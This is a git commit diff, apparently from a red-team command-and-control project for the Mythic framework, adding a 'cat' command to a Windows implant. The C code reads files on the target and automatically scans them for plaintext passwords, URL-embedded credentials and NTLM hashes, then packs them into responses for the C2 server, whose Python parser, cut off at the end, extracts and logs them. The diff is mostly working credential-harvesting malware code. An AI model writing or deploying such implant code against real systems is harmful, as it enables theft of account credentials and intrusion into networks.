Credentials created
This commit is contained in:
@@ -7,6 +7,9 @@ BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
#pragma warning(disable : 4996)
|
||||
|
||||
#include <string.h>
|
||||
#include <ctype.h>
|
||||
|
||||
VOID CambiarDirectorio(PAnalizador argumentos) {
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
@@ -442,4 +445,509 @@ VOID EliminarRuta(PAnalizador argumentos){
|
||||
end:;
|
||||
// Cleanup
|
||||
LocalFree(ruta);
|
||||
}
|
||||
|
||||
// Helper function to detect credentials in file content (internal use only)
|
||||
// Returns TRUE if credentials were found and added
|
||||
static BOOL detectarCredencialesEnContenido(PPaquete respuestaTarea, PCHAR contenido, SIZE_T tamanoContenido) {
|
||||
if (!contenido || tamanoContenido == 0) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL credencialesEncontradas = FALSE;
|
||||
char buffer[4096] = {0};
|
||||
|
||||
// Convertir contenido a string null-terminated para análisis
|
||||
PCHAR contenidoStr = (PCHAR)LocalAlloc(LPTR, tamanoContenido + 1);
|
||||
if (!contenidoStr) {
|
||||
return FALSE;
|
||||
}
|
||||
memcpy(contenidoStr, contenido, tamanoContenido);
|
||||
contenidoStr[tamanoContenido] = '\0';
|
||||
|
||||
// Buscar patrones comunes de credenciales línea por línea
|
||||
PCHAR lineaActual = contenidoStr;
|
||||
PCHAR siguienteLinea = NULL;
|
||||
|
||||
while (lineaActual < contenidoStr + tamanoContenido) {
|
||||
// Encontrar fin de línea
|
||||
siguienteLinea = lineaActual;
|
||||
while (*siguienteLinea != '\n' && *siguienteLinea != '\r' && *siguienteLinea != '\0') {
|
||||
siguienteLinea++;
|
||||
}
|
||||
|
||||
SIZE_T lineaLen = siguienteLinea - lineaActual;
|
||||
if (lineaLen > sizeof(buffer) - 1) {
|
||||
lineaLen = sizeof(buffer) - 1;
|
||||
}
|
||||
|
||||
memcpy(buffer, lineaActual, lineaLen);
|
||||
buffer[lineaLen] = '\0';
|
||||
|
||||
// Convertir a minúsculas para búsqueda case-insensitive
|
||||
char lineaLower[4096] = {0};
|
||||
for (SIZE_T i = 0; i < lineaLen && i < sizeof(lineaLower) - 1; i++) {
|
||||
lineaLower[i] = tolower(buffer[i]);
|
||||
}
|
||||
|
||||
// Patrón 0: username:password (formato simple y muy común)
|
||||
// Soporta múltiples formatos:
|
||||
// - username:password
|
||||
// - dominio\usuario:password
|
||||
// - usuario@dominio:password
|
||||
PCHAR colonPtr = (PCHAR)memchr(buffer, ':', lineaLen);
|
||||
if (colonPtr && colonPtr > buffer && colonPtr < buffer + lineaLen - 1) {
|
||||
// Verificar que el formato parece username:password
|
||||
// No debe haber espacios antes del :
|
||||
BOOL isValidFormat = TRUE;
|
||||
PCHAR checkSpace = buffer;
|
||||
while (checkSpace < colonPtr) {
|
||||
if (*checkSpace == ' ' || *checkSpace == '\t') {
|
||||
isValidFormat = FALSE;
|
||||
break;
|
||||
}
|
||||
checkSpace++;
|
||||
}
|
||||
|
||||
// Verificar que después del : hay al menos un carácter no-espacio
|
||||
PCHAR afterColon = colonPtr + 1;
|
||||
if (*afterColon == ' ' || *afterColon == '\t' || *afterColon == '\0') {
|
||||
isValidFormat = FALSE;
|
||||
}
|
||||
|
||||
if (isValidFormat) {
|
||||
// Extraer password (después del :)
|
||||
SIZE_T passLen = 0;
|
||||
PCHAR passStart = afterColon;
|
||||
while (passStart < buffer + lineaLen &&
|
||||
*passStart != ' ' && *passStart != '\t' &&
|
||||
*passStart != '\r' && *passStart != '\n' &&
|
||||
*passStart != '\0') {
|
||||
passLen++;
|
||||
passStart++;
|
||||
}
|
||||
|
||||
// Verificar que no es solo un hash (32 hex chars) - eso lo detectamos más abajo
|
||||
BOOL isLikelyHash = FALSE;
|
||||
if (passLen == 32) {
|
||||
isLikelyHash = TRUE;
|
||||
for (SIZE_T i = 0; i < 32 && afterColon + i < buffer + lineaLen; i++) {
|
||||
if (!isxdigit(afterColon[i])) {
|
||||
isLikelyHash = FALSE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (passLen > 0 && passLen < 512 && !isLikelyHash) {
|
||||
char password[512] = {0};
|
||||
memcpy(password, afterColon, passLen);
|
||||
password[passLen] = '\0';
|
||||
|
||||
// Extraer username y realm según el formato
|
||||
SIZE_T userLen = colonPtr - buffer;
|
||||
if (userLen > 0 && userLen < 256) {
|
||||
char username[256] = {0};
|
||||
char realm[256] = {0};
|
||||
BOOL hasRealm = FALSE;
|
||||
|
||||
// Buscar formato dominio\usuario
|
||||
// Buscar backslash en el buffer original (no en lineaLower)
|
||||
PCHAR backslashPtr = NULL;
|
||||
for (SIZE_T i = 0; i < userLen; i++) {
|
||||
if (buffer[i] == '\\') {
|
||||
backslashPtr = buffer + i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (backslashPtr && backslashPtr > buffer && backslashPtr < colonPtr) {
|
||||
// Formato: dominio\usuario
|
||||
SIZE_T domainLen = backslashPtr - buffer;
|
||||
SIZE_T actualUserLen = colonPtr - backslashPtr - 1;
|
||||
|
||||
if (domainLen > 0 && domainLen < 255 && actualUserLen > 0 && actualUserLen < 255) {
|
||||
// Copiar dominio al realm
|
||||
memcpy(realm, buffer, domainLen);
|
||||
realm[domainLen] = '\0';
|
||||
// Copiar usuario al username (saltar el backslash)
|
||||
memcpy(username, backslashPtr + 1, actualUserLen);
|
||||
username[actualUserLen] = '\0';
|
||||
hasRealm = TRUE;
|
||||
_dbg("[cat] Formato dominio\\usuario detectado: domainLen=%zu, actualUserLen=%zu, realm='%s', username='%s'",
|
||||
domainLen, actualUserLen, realm, username);
|
||||
} else {
|
||||
_dbg("[cat] Formato dominio\\usuario inválido: domainLen=%zu, actualUserLen=%zu",
|
||||
domainLen, actualUserLen);
|
||||
}
|
||||
} else {
|
||||
// Buscar formato usuario@dominio
|
||||
// Buscar @ en el buffer original
|
||||
PCHAR atPtr = NULL;
|
||||
for (SIZE_T i = 0; i < userLen; i++) {
|
||||
if (buffer[i] == '@') {
|
||||
atPtr = buffer + i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (atPtr && atPtr > buffer && atPtr < colonPtr) {
|
||||
// Formato: usuario@dominio
|
||||
SIZE_T actualUserLen = atPtr - buffer;
|
||||
SIZE_T domainLen = colonPtr - atPtr - 1;
|
||||
|
||||
if (actualUserLen > 0 && actualUserLen < 255 && domainLen > 0 && domainLen < 255) {
|
||||
// Copiar usuario al username
|
||||
memcpy(username, buffer, actualUserLen);
|
||||
username[actualUserLen] = '\0';
|
||||
// Copiar dominio al realm (saltar el @)
|
||||
memcpy(realm, atPtr + 1, domainLen);
|
||||
realm[domainLen] = '\0';
|
||||
hasRealm = TRUE;
|
||||
_dbg("[cat] Formato usuario@dominio detectado: actualUserLen=%zu, domainLen=%zu, username='%s', realm='%s'",
|
||||
actualUserLen, domainLen, username, realm);
|
||||
} else {
|
||||
_dbg("[cat] Formato usuario@dominio inválido: actualUserLen=%zu, domainLen=%zu",
|
||||
actualUserLen, domainLen);
|
||||
}
|
||||
} else {
|
||||
// Formato simple: username:password
|
||||
memcpy(username, buffer, userLen);
|
||||
username[userLen] = '\0';
|
||||
// realm queda vacío
|
||||
hasRealm = FALSE;
|
||||
_dbg("[cat] Formato simple detectado: username='%s'", username);
|
||||
}
|
||||
}
|
||||
|
||||
// Limpiar espacios finales del username y realm
|
||||
SIZE_T tempLen = strlen(username);
|
||||
while (tempLen > 0 && (username[tempLen-1] == ' ' || username[tempLen-1] == '\t')) {
|
||||
username[--tempLen] = '\0';
|
||||
}
|
||||
if (hasRealm) {
|
||||
tempLen = strlen(realm);
|
||||
while (tempLen > 0 && (realm[tempLen-1] == ' ' || realm[tempLen-1] == '\t')) {
|
||||
realm[--tempLen] = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
// Verificar que los valores extraídos son válidos antes de reportar
|
||||
if (username[0] != '\0' && password[0] != '\0') {
|
||||
// Verificar que realm tiene contenido válido si hasRealm es TRUE
|
||||
PCHAR realmToUse = "";
|
||||
if (hasRealm) {
|
||||
SIZE_T realmLen = strlen(realm);
|
||||
if (realmLen > 0) {
|
||||
realmToUse = realm;
|
||||
}
|
||||
}
|
||||
// Si hasRealm es FALSE o realm está vacío, realmToUse queda como ""
|
||||
|
||||
_dbg("[cat] Agregando credential: username='%s', realm='%s' (hasRealm=%d, realmLen=%zu), password='%.20s'",
|
||||
username, realmToUse[0] != '\0' ? realmToUse : "(empty)",
|
||||
hasRealm ? 1 : 0, hasRealm ? strlen(realm) : 0, password);
|
||||
|
||||
addCredential(respuestaTarea, "plaintext", realmToUse, password, username);
|
||||
credencialesEncontradas = TRUE;
|
||||
// Continuar al siguiente patrón - esta línea ya fue procesada
|
||||
if (*siguienteLinea == '\r') siguienteLinea++;
|
||||
if (*siguienteLinea == '\n') siguienteLinea++;
|
||||
lineaActual = siguienteLinea;
|
||||
if (*siguienteLinea == '\0') break;
|
||||
continue; // Saltar otros patrones para esta línea ya procesada
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Patrón 1: password=value o password:value
|
||||
PCHAR passPtr = strstr(lineaLower, "password");
|
||||
if (passPtr) {
|
||||
// Buscar el delimitador (= o :)
|
||||
PCHAR delimitador = strchr(passPtr, '=');
|
||||
if (!delimitador) delimitador = strchr(passPtr, ':');
|
||||
|
||||
if (delimitador) {
|
||||
delimitador++; // Saltar el delimitador
|
||||
// Buscar el valor (saltar espacios)
|
||||
while (*delimitador == ' ' || *delimitador == '\t') delimitador++;
|
||||
|
||||
// Buscar username en la misma línea o anterior
|
||||
PCHAR userPtr = strstr(lineaLower, "user");
|
||||
char username[256] = {0};
|
||||
if (userPtr) {
|
||||
PCHAR userDelim = strchr(userPtr, '=');
|
||||
if (!userDelim) userDelim = strchr(userPtr, ':');
|
||||
if (userDelim) {
|
||||
userDelim++;
|
||||
while (*userDelim == ' ' || *userDelim == '\t') userDelim++;
|
||||
SIZE_T userLen = 0;
|
||||
while (*userDelim != ' ' && *userDelim != '\t' && *userDelim != '\r' &&
|
||||
*userDelim != '\n' && *userDelim != '\0' && userLen < sizeof(username) - 1) {
|
||||
username[userLen++] = buffer[userDelim - lineaLower];
|
||||
userDelim++;
|
||||
}
|
||||
username[userLen] = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
// Extraer password value
|
||||
SIZE_T passLen = 0;
|
||||
char password[512] = {0};
|
||||
PCHAR passStart = buffer + (delimitador - lineaLower);
|
||||
while (*passStart != ' ' && *passStart != '\t' && *passStart != '\r' &&
|
||||
*passStart != '\n' && *passStart != '\0' && passLen < sizeof(password) - 1) {
|
||||
password[passLen++] = *passStart;
|
||||
passStart++;
|
||||
}
|
||||
password[passLen] = '\0';
|
||||
|
||||
if (passLen > 0) {
|
||||
addCredential(respuestaTarea, "plaintext", "",
|
||||
password,
|
||||
username[0] != '\0' ? username : "unknown");
|
||||
credencialesEncontradas = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Patrón 2: http://user:pass@host
|
||||
PCHAR httpPtr = strstr(lineaLower, "http://");
|
||||
if (!httpPtr) httpPtr = strstr(lineaLower, "https://");
|
||||
if (httpPtr) {
|
||||
PCHAR atPtr = strchr(httpPtr, '@');
|
||||
if (atPtr) {
|
||||
// Buscar : antes del @
|
||||
PCHAR colonPtr = httpPtr;
|
||||
while (colonPtr < atPtr && *colonPtr != ':') colonPtr++;
|
||||
if (colonPtr < atPtr && *colonPtr == ':') {
|
||||
PCHAR protocolEnd = httpPtr;
|
||||
while (*protocolEnd != '/' && *protocolEnd != '\0') protocolEnd++;
|
||||
if (*protocolEnd == '/' && protocolEnd[1] == '/') {
|
||||
protocolEnd += 2; // Saltar "//"
|
||||
SIZE_T userLen = colonPtr - protocolEnd;
|
||||
SIZE_T passLen = atPtr - colonPtr - 1;
|
||||
|
||||
if (userLen > 0 && userLen < 256 && passLen > 0 && passLen < 512) {
|
||||
char username[256] = {0};
|
||||
char password[512] = {0};
|
||||
memcpy(username, buffer + (protocolEnd - lineaLower), userLen);
|
||||
username[userLen] = '\0';
|
||||
memcpy(password, buffer + (colonPtr - lineaLower + 1), passLen);
|
||||
password[passLen] = '\0';
|
||||
|
||||
addCredential(respuestaTarea, "plaintext", "", password, username);
|
||||
credencialesEncontradas = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Patrón 3: Hash NTLM (formato aad3b435b51404ee:hash)
|
||||
PCHAR hashPtr = strstr(buffer, "aad3b435b51404ee");
|
||||
if (!hashPtr) {
|
||||
// Buscar formato :hash (32 bytes hex después de :)
|
||||
for (PCHAR p = buffer; p < buffer + lineaLen - 32; p++) {
|
||||
if (*p == ':' && isxdigit(p[1])) {
|
||||
// Verificar si los siguientes 32 caracteres son hex
|
||||
BOOL isValidHash = TRUE;
|
||||
for (int i = 1; i <= 32 && p + i < buffer + lineaLen; i++) {
|
||||
if (!isxdigit(p[i])) {
|
||||
isValidHash = FALSE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (isValidHash && p + 33 <= buffer + lineaLen) {
|
||||
char hash[65] = {0};
|
||||
memcpy(hash, p + 1, 32);
|
||||
hash[32] = '\0';
|
||||
|
||||
// Buscar username antes del hash
|
||||
char username[256] = {0};
|
||||
PCHAR userStart = buffer;
|
||||
while (userStart < p && (*userStart == ' ' || *userStart == '\t')) userStart++;
|
||||
SIZE_T userLen = p - userStart;
|
||||
if (userLen > 0 && userLen < sizeof(username)) {
|
||||
memcpy(username, userStart, userLen);
|
||||
username[userLen] = '\0';
|
||||
// Limpiar espacios finales
|
||||
while (userLen > 0 && (username[userLen-1] == ' ' || username[userLen-1] == '\t')) {
|
||||
username[--userLen] = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
addCredential(respuestaTarea, "hash", "", hash,
|
||||
username[0] != '\0' ? username : "unknown");
|
||||
credencialesEncontradas = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Formato aad3b435b51404ee:hash
|
||||
PCHAR colonAfterPrefix = hashPtr + 16; // 16 = strlen("aad3b435b51404ee")
|
||||
if (*colonAfterPrefix == ':' && colonAfterPrefix + 32 < buffer + lineaLen) {
|
||||
char hash[65] = {0};
|
||||
memcpy(hash, hashPtr, 16);
|
||||
hash[16] = ':';
|
||||
memcpy(hash + 17, colonAfterPrefix + 1, 32);
|
||||
hash[49] = '\0';
|
||||
|
||||
// Buscar username
|
||||
char username[256] = {0};
|
||||
PCHAR userStart = buffer;
|
||||
while (userStart < hashPtr && (*userStart == ' ' || *userStart == '\t')) userStart++;
|
||||
SIZE_T userLen = hashPtr - userStart;
|
||||
if (userLen > 0 && userLen < sizeof(username)) {
|
||||
memcpy(username, userStart, userLen);
|
||||
username[userLen] = '\0';
|
||||
while (userLen > 0 && (username[userLen-1] == ' ' || username[userLen-1] == '\t')) {
|
||||
username[--userLen] = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
addCredential(respuestaTarea, "hash", "", hash,
|
||||
username[0] != '\0' ? username : "unknown");
|
||||
credencialesEncontradas = TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
// Avanzar al siguiente carácter después del fin de línea
|
||||
if (*siguienteLinea == '\r') siguienteLinea++;
|
||||
if (*siguienteLinea == '\n') siguienteLinea++;
|
||||
lineaActual = siguienteLinea;
|
||||
|
||||
if (*siguienteLinea == '\0') break;
|
||||
}
|
||||
|
||||
LocalFree(contenidoStr);
|
||||
return credencialesEncontradas;
|
||||
}
|
||||
|
||||
VOID LeerFichero(PAnalizador argumentos) {
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
|
||||
_dbg("\t tenemos %d argumentos", nbArg);
|
||||
if (nbArg == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
SIZE_T tamano = 0;
|
||||
PCHAR rutaFichero = getString(argumentos, &tamano);
|
||||
|
||||
_dbg("Reading file: \"%s\"", rutaFichero);
|
||||
|
||||
// Abrir archivo para lectura
|
||||
HANDLE hFile = CreateFileA(
|
||||
rutaFichero,
|
||||
GENERIC_READ,
|
||||
FILE_SHARE_READ,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
DWORD error = GetLastError();
|
||||
|
||||
_err("[cat] No se ha podido abrir el archivo. Código: %lu\n", error);
|
||||
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[cat] Error: No se pudo abrir el archivo. Código: %lu\n", error);
|
||||
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
|
||||
mandarPaquete(respuestaError);
|
||||
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
goto end;
|
||||
}
|
||||
|
||||
// Obtener tamaño del archivo
|
||||
DWORD fileSizeHigh = 0;
|
||||
DWORD fileSizeLow = GetFileSize(hFile, &fileSizeHigh);
|
||||
DWORD fileSize = fileSizeLow; // Usar solo low para archivos < 4GB (suficiente para nuestros propósitos)
|
||||
|
||||
// Limitar tamaño máximo para evitar problemas de memoria (10MB)
|
||||
const DWORD MAX_FILE_SIZE = 10 * 1024 * 1024;
|
||||
if (fileSize > MAX_FILE_SIZE || fileSizeHigh > 0) {
|
||||
_err("[cat] Archivo demasiado grande: %lu bytes (máximo: %lu bytes)\n", fileSize, MAX_FILE_SIZE);
|
||||
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[cat] Error: Archivo demasiado grande. Máximo permitido: %lu bytes\n",
|
||||
MAX_FILE_SIZE);
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
mandarPaquete(respuestaError);
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
CloseHandle(hFile);
|
||||
goto end;
|
||||
}
|
||||
|
||||
// Leer contenido del archivo
|
||||
PBYTE contenidoArchivo = (PBYTE)LocalAlloc(LPTR, fileSize + 1);
|
||||
if (!contenidoArchivo) {
|
||||
_err("[cat] No se pudo asignar memoria para el archivo\n");
|
||||
CloseHandle(hFile);
|
||||
goto end;
|
||||
}
|
||||
|
||||
DWORD bytesRead = 0;
|
||||
if (!ReadFile(hFile, contenidoArchivo, fileSize, &bytesRead, NULL)) {
|
||||
DWORD error = GetLastError();
|
||||
_err("[cat] Error leyendo el archivo. Código: %lu\n", error);
|
||||
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[cat] Error leyendo archivo. Código: %lu\n", error);
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
mandarPaquete(respuestaError);
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
|
||||
LocalFree(contenidoArchivo);
|
||||
CloseHandle(hFile);
|
||||
goto end;
|
||||
}
|
||||
|
||||
CloseHandle(hFile);
|
||||
contenidoArchivo[bytesRead] = '\0'; // Asegurar null termination
|
||||
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
|
||||
// Agregar contenido del archivo a la salida
|
||||
addBytes(salida, contenidoArchivo, bytesRead, FALSE);
|
||||
|
||||
addString(respuestaTarea, tareaUuid, FALSE);
|
||||
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
// Detectar y agregar credenciales si se encuentran
|
||||
// NOTA: No agregamos artifacts porque es una operación de solo lectura
|
||||
BOOL credsFound = detectarCredencialesEnContenido(respuestaTarea, (PCHAR)contenidoArchivo, bytesRead);
|
||||
if (credsFound) {
|
||||
_dbg("[cat] Credenciales detectadas y agregadas");
|
||||
}
|
||||
|
||||
mandarPaquete(respuestaTarea);
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuestaTarea);
|
||||
|
||||
LocalFree(contenidoArchivo);
|
||||
|
||||
end:
|
||||
LocalFree(rutaFichero);
|
||||
}
|
||||
@@ -17,4 +17,6 @@ VOID CrearRuta(PAnalizador argumentos);
|
||||
|
||||
VOID EliminarRuta(PAnalizador argumentos);
|
||||
|
||||
VOID LeerFichero(PAnalizador argumentos);
|
||||
|
||||
#endif //FILESYSTEM_H
|
||||
@@ -60,6 +60,8 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||
CrearRuta(analizadorTarea);
|
||||
} else if (tarea == RM_CMD) {
|
||||
EliminarRuta(analizadorTarea);
|
||||
} else if (tarea == CAT_CMD) {
|
||||
LeerFichero(analizadorTarea);
|
||||
} else if (tarea == START_SOCKS_CMD) {
|
||||
DBG_PRINTF("Received START_SOCKS_CMD");
|
||||
startSocksHandler(analizadorTarea);
|
||||
|
||||
@@ -28,6 +28,7 @@
|
||||
#define CP_CMD 0x23
|
||||
#define MKDIR_CMD 0x24
|
||||
#define RM_CMD 0x25
|
||||
#define CAT_CMD 0x26
|
||||
|
||||
/* New SOCKS control commands (agent-side) */
|
||||
#define START_SOCKS_CMD 0x60
|
||||
|
||||
@@ -660,4 +660,40 @@ VOID addArtifact(PPaquete paquete, PCHAR artifact_type, PCHAR artifact_value) {
|
||||
SIZE_T value_len = strlen(artifact_value);
|
||||
addInt32(paquete, (UINT32)value_len);
|
||||
addString(paquete, artifact_value, FALSE);
|
||||
}
|
||||
|
||||
// Helper function to add credentials to response packages
|
||||
// Format: [0xFE marker][credential_type_len:4][credential_type][realm_len:4][realm][credential_len:4][credential][account_len:4][account]
|
||||
// credential_type must be one of: plaintext, certificate, hash, key, ticket, cookie
|
||||
VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR credential, PCHAR account) {
|
||||
if (!paquete || !credential_type || !credential || !account) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Credential marker (0xFE, different from artifact marker 0xFF)
|
||||
addByte(paquete, 0xFE);
|
||||
|
||||
// Credential type length and value
|
||||
SIZE_T type_len = strlen(credential_type);
|
||||
addInt32(paquete, (UINT32)type_len);
|
||||
addString(paquete, credential_type, FALSE);
|
||||
|
||||
// Realm (can be empty string, but must be included)
|
||||
// Handle NULL realm parameter by using empty string
|
||||
PCHAR realmToAdd = (realm && realm[0] != '\0') ? realm : "";
|
||||
SIZE_T realm_len = strlen(realmToAdd);
|
||||
addInt32(paquete, (UINT32)realm_len);
|
||||
if (realm_len > 0) {
|
||||
addString(paquete, realmToAdd, FALSE);
|
||||
}
|
||||
|
||||
// Credential length and value
|
||||
SIZE_T cred_len = strlen(credential);
|
||||
addInt32(paquete, (UINT32)cred_len);
|
||||
addString(paquete, credential, FALSE);
|
||||
|
||||
// Account length and value
|
||||
SIZE_T account_len = strlen(account);
|
||||
addInt32(paquete, (UINT32)account_len);
|
||||
addString(paquete, account, FALSE);
|
||||
}
|
||||
@@ -35,4 +35,9 @@ BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
|
||||
/* Format: [0xFF marker][artifact_type_len:4][artifact_type][artifact_value_len:4][artifact_value] */
|
||||
VOID addArtifact(PPaquete paquete, PCHAR artifact_type, PCHAR artifact_value);
|
||||
|
||||
/* Credential helper: adds credential marker and data to response package */
|
||||
/* Format: [0xFE marker][credential_type_len:4][credential_type][realm_len:4][realm][credential_len:4][credential][account_len:4][account] */
|
||||
/* credential_type must be: plaintext, certificate, hash, key, ticket, or cookie */
|
||||
VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR credential, PCHAR account);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,54 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class CatArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="file",
|
||||
type=ParameterType.String,
|
||||
description="Ruta del archivo a leer"
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Se debe indicar un archivo a leer")
|
||||
self.add_arg("file", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary):
|
||||
self.load_args_from_dictionary(dictionary)
|
||||
|
||||
|
||||
class CatCommand(CommandBase):
|
||||
cmd = "cat"
|
||||
needs_admin = False
|
||||
help_cmd = "cat C:\\ruta\\al\\archivo.txt"
|
||||
description = "Lee el contenido de un archivo y detecta credenciales automáticamente"
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = []
|
||||
argument_class = CatArguments
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[SupportedOS.Windows],
|
||||
suggested_command=False
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
"""
|
||||
Process response from agent.
|
||||
Note: The cat command automatically detects and reports credentials if found in file content.
|
||||
"""
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
|
||||
@@ -14,6 +14,7 @@ commands = {
|
||||
"cp": {"hex_code": 0x23, "input_type": "string"},
|
||||
"mkdir": {"hex_code": 0x24, "input_type": "string"},
|
||||
"rm": {"hex_code": 0x25, "input_type": "string"},
|
||||
"cat": {"hex_code": 0x26, "input_type": "string"},
|
||||
# Added SOCKS control commands
|
||||
"start_socks": {"hex_code": 0x60, "input_type": "int"},
|
||||
"stop_socks": {"hex_code": 0x61, "input_type": None},
|
||||
|
||||
@@ -178,8 +178,11 @@ def postResponse(data):
|
||||
|
||||
print(f"Tamaño después de extraer UUID: {len(data)} bytes")
|
||||
|
||||
# Parse artifacts: format [0xFF][type_len:4][type][value_len:4][value]
|
||||
# Parse artifacts and credentials:
|
||||
# Artifacts format: [0xFF][type_len:4][type][value_len:4][value]
|
||||
# Credentials format: [0xFE][type_len:4][type][realm_len:4][realm][credential_len:4][credential][account_len:4][account]
|
||||
artifacts_data = []
|
||||
credentials_data = []
|
||||
remaining_data = data
|
||||
|
||||
while len(remaining_data) >= 5: # At least: marker (1) + type_len (4)
|
||||
@@ -225,8 +228,84 @@ def postResponse(data):
|
||||
remaining_data = remaining_data[offset:]
|
||||
except:
|
||||
break
|
||||
elif remaining_data[0] == 0xFE:
|
||||
# Credential marker found
|
||||
offset = 1
|
||||
|
||||
# Extract credential type
|
||||
if len(remaining_data) < offset + 4:
|
||||
break
|
||||
type_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||
offset += 4
|
||||
|
||||
if type_len == 0 or len(remaining_data) < offset + type_len:
|
||||
break
|
||||
|
||||
try:
|
||||
credential_type = remaining_data[offset:offset+type_len].decode('cp850')
|
||||
offset += type_len
|
||||
except:
|
||||
break
|
||||
|
||||
# Extract realm
|
||||
if len(remaining_data) < offset + 4:
|
||||
break
|
||||
realm_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||
offset += 4
|
||||
|
||||
if realm_len > 0:
|
||||
if len(remaining_data) < offset + realm_len:
|
||||
break
|
||||
try:
|
||||
realm = remaining_data[offset:offset+realm_len].decode('cp850')
|
||||
offset += realm_len
|
||||
except:
|
||||
break
|
||||
else:
|
||||
realm = ""
|
||||
|
||||
# Extract credential
|
||||
if len(remaining_data) < offset + 4:
|
||||
break
|
||||
credential_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||
offset += 4
|
||||
|
||||
if credential_len == 0 or len(remaining_data) < offset + credential_len:
|
||||
break
|
||||
|
||||
try:
|
||||
credential = remaining_data[offset:offset+credential_len].decode('cp850')
|
||||
offset += credential_len
|
||||
except:
|
||||
break
|
||||
|
||||
# Extract account
|
||||
if len(remaining_data) < offset + 4:
|
||||
break
|
||||
account_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||
offset += 4
|
||||
|
||||
if account_len == 0 or len(remaining_data) < offset + account_len:
|
||||
break
|
||||
|
||||
try:
|
||||
account = remaining_data[offset:offset+account_len].decode('cp850')
|
||||
offset += account_len
|
||||
|
||||
credentials_data.append({
|
||||
"credential_type": credential_type,
|
||||
"realm": realm,
|
||||
"credential": credential,
|
||||
"account": account
|
||||
})
|
||||
print(f"[CREDENTIALS] Detectado credential: {credential_type} para {account}@{realm if realm else '(local)'}")
|
||||
|
||||
# Continue parsing for multiple credentials
|
||||
